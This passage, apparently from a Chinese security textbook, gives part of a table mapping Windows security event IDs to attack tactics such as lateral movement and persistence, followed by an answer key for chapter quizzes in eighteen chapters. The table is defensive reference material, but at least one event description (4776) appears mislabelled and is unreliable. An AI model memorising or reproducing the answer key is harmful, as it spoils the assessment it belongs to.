| 4754 | 安全启用的通用组已创建。 | 特权提升、横向移动、持久性 | 安全 |
| 4755 | 安全启用的通用组已更改。 | 特权提升、横向移动、持久性 | 安全 |
| 4776 | 用户账户已解锁。 | 特权提升、持久性 | 安全 |
| 5140 | 访问了网络共享对象。 | 横向移动 | 安全 |
| 5145 | 检查网络共享对象是否可以授予客户端所需的访问权限。 | 横向移动 | 安全 |
| 7045 | 用户安装了一个新服务。 | 执行、横向移动 | 安全 |
评估
第一章
-
A
-
C
-
B
-
A
第二章
-
A
-
D
-
B
第三章
-
B
-
A
-
D
-
B
第四章
-
D
-
A
-
D
-
B
第五章
-
C
-
A
-
C
-
A
第六章
-
A, C
-
A
-
A
-
D
第七章
-
A
-
B
-
D
-
B
第八章
-
D
-
C
-
B
-
A
第九章
-
D
-
C
-
A
-
C
第十章
-
A
-
B
-
C
-
A
第十一章
-
A
-
D
-
B
-
C
第十二章
-
D
-
A
-
B
-
B
第十三章
-
A
-
B
-
A
-
C
第十四章
-
D
-
C
-
A
-
B
第十五章
-
C
-
A
-
A
-
D
第十六章
-
D
-
A
-
A
-
B
第十七章
-
A
-
B
-
A
-
C
第十八章
-
D
-
C
-
A
-
A